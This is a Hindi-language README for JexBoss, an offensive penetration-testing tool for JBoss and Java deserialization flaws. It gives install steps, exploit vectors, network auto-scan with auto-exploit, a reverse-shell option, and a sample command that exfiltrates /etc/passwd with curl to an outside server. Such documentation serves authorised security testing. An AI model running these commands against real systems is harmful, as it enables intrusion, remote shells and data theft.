JexBoss - JBoss (और अन्य जावा डिसीरियलाइज़ेशन कमजोरियाँ) सत्यापन और EXploitation उपकरण

JexBoss एक उपकरण है जो JBoss एप्लिकेशन सर्वर और अन्य जावा प्लेटफ़ॉर्म, फ्रेमवर्क, एप्लिकेशन आदि में कमजोरियों का परीक्षण और शोषण करने के लिए है।

आवश्यकताएँ

• Python >= 2.7.x
• urllib3
• ipaddress

Linux\Mac पर स्थापना

JexBoss के नवीनतम संस्करण को स्थापित करने के लिए, कृपया निम्नलिखित कमांड का उपयोग करें:

git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

या:

नवीनतम संस्करण डाउनलोड करें: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

यदि आप Python 2.6 के साथ CentOS का उपयोग कर रहे हैं, तो कृपया Python2.7 स्थापित करें। Collections Software scl का उपयोग करके CentOS पर Python 2.7 स्थापित करने का उदाहरण:

yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash

Windows पर स्थापना

यदि आप Windows का उपयोग कर रहे हैं, तो आप JexBoss चलाने के लिए Git Bash का उपयोग कर सकते हैं। नीचे दिए गए चरणों का पालन करें:

• Python डाउनलोड और स्थापित करें
• Git for Windows डाउनलोड और स्थापित करें
• स्थापना के बाद, Git for Windows चलाएं और निम्नलिखित कमांड टाइप करें:

    PATH=$PATH:C:\Python27\
    PATH=$PATH:C:\Python27\Scripts
    git clone https://github.com/joaomatosf/jexboss.git
    cd jexboss
    pip install -r requires.txt
    python jexboss.py -h
    python jexboss.py -host http://target_host:8080
    

विशेषताएँ

उपकरण और एक्सप्लॉइट निम्नलिखित के लिए विकसित और परीक्षण किए गए हैं:

• JBoss एप्लिकेशन सर्वर संस्करण: 3, 4, 5 और 6.
• एकाधिक जावा फ्रेमवर्क, प्लेटफ़ॉर्म और एप्लिकेशन में जावा डिसीरियलाइज़ेशन कमजोरियाँ (जैसे, Java Server Faces - JSF, Seam Framework, RMI over HTTP, Jenkins CLI RCE (CVE-2015-5317), Remote JMX (CVE-2016-3427, CVE-2016-8735), आदि)

शोषण वेक्टर हैं:

• /admin-console
  • JBoss संस्करण 5 और 6 में परीक्षित और कार्यशील
• /jmx-console
  • JBoss संस्करण 4, 5 और 6 में परीक्षित और कार्यशील
• /web-console/Invoker
  • JBoss संस्करण 4, 5 और 6 में परीक्षित और कार्यशील
• /invoker/JMXInvokerServlet
  • JBoss संस्करण 4, 5 और 6 में परीक्षित और कार्यशील
• एप्लिकेशन डिसीरियलाइज़ेशन
  • HTTP POST पैरामीटर के माध्यम से एकाधिक जावा एप्लिकेशन, प्लेटफ़ॉर्म आदि के विरुद्ध परीक्षित और कार्यशील
• सर्वलेट डिसीरियलाइज़ेशन
  • सर्वलेट के माध्यम से जो सीरियलाइज़्ड ऑब्जेक्ट को प्रोसेस करते हैं (जैसे, जब आप किसी लिंक में "Invoker" देखते हैं), एकाधिक जावा एप्लिकेशन, प्लेटफ़ॉर्म आदि के विरुद्ध परीक्षित और कार्यशील
• Apache Struts2 CVE-2017-5638
  • Apache Struts 2 एप्लिकेशन में परीक्षित
• अन्य

वीडियो

• JexBoss के साथ JSF/Seam एप्लिकेशन पर जावा डिसीरियलाइज़ेशन कमजोरियों (RCE) का शोषण javax.faces.ViewState के माध्यम से

• JexBoss के साथ JBoss एप्लिकेशन सर्वर का शोषण

• Jexboss के साथ Apache Struts2 (RCE) का शोषण (CVE-2017-5638)

स्क्रीनशॉट

• सरल उपयोग उदाहरण:

$ python jexboss.py

• JBoss के विरुद्ध स्टैंडअलोन मोड का उदाहरण:

$ python jexboss.py -u http://192.168.0.26:8080

• उपयोग मोड:

$ python jexboss.py -h

• नेटवर्क स्कैन मोड:

$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

• ऑटो-एक्सप्लॉइट मोड के साथ नेटवर्क स्कैन:

$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt

• परिणाम और सिफारिशें:

रिवर्स शेल (meterpreter एकीकरण)

JBoss सर्वर का शोषण करने के बाद, आप स्वयं jexboss कमांड शेल का उपयोग कर सकते हैं या निम्नलिखित कमांड का उपयोग करके रिवर्स कनेक्शन कर सकते हैं:

   jexremote=YOUR_IP:YOUR_PORT

   उदाहरण:
     Shell>jexremote=192.168.0.10:4444

• उदाहरण:

जब आप जावा डिसीरियलाइज़ेशन कमजोरियों (एप्लिकेशन डिसीरियलाइज़ेशन, सर्वलेट डिसीरियलाइज़ेशन) का शोषण कर रहे हों, तो डिफ़ॉल्ट विकल्प हैं: रिवर्स शेल कनेक्शन बनाना या निष्पादित करने के लिए एक कमांड भेजना।

उपयोग उदाहरण

• कस्टम HTTP पैरामीटर में जावा डिसीरियलाइज़ेशन कमजोरियों के लिए और शोषित सर्वर पर निष्पादित करने के लिए एक कस्टम कमांड भेजने के लिए:

$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'

• कस्टम HTTP पैरामीटर में जावा डिसीरियलाइज़ेशन कमजोरियों के लिए और रिवर्स शेल बनाने के लिए (यह आपके रिमोट होस्ट का IP पता और पोर्ट पूछेगा):

$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name

• सर्वलेट में जावा डिसीरियलाइज़ेशन कमजोरियों के लिए (जैसे Invoker):

$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize

• Apache Struts 2 (CVE-2017-5638) के लिए

$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2

• प्रमाणित संसाधनों के लिए कुकीज़ के साथ Apache Struts 2 (CVE-2017-5638) के लिए

$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"

• ऑटो स्कैन मोड:

$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log

• फ़ाइल स्कैन मोड:

$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log

• अधिक विकल्प: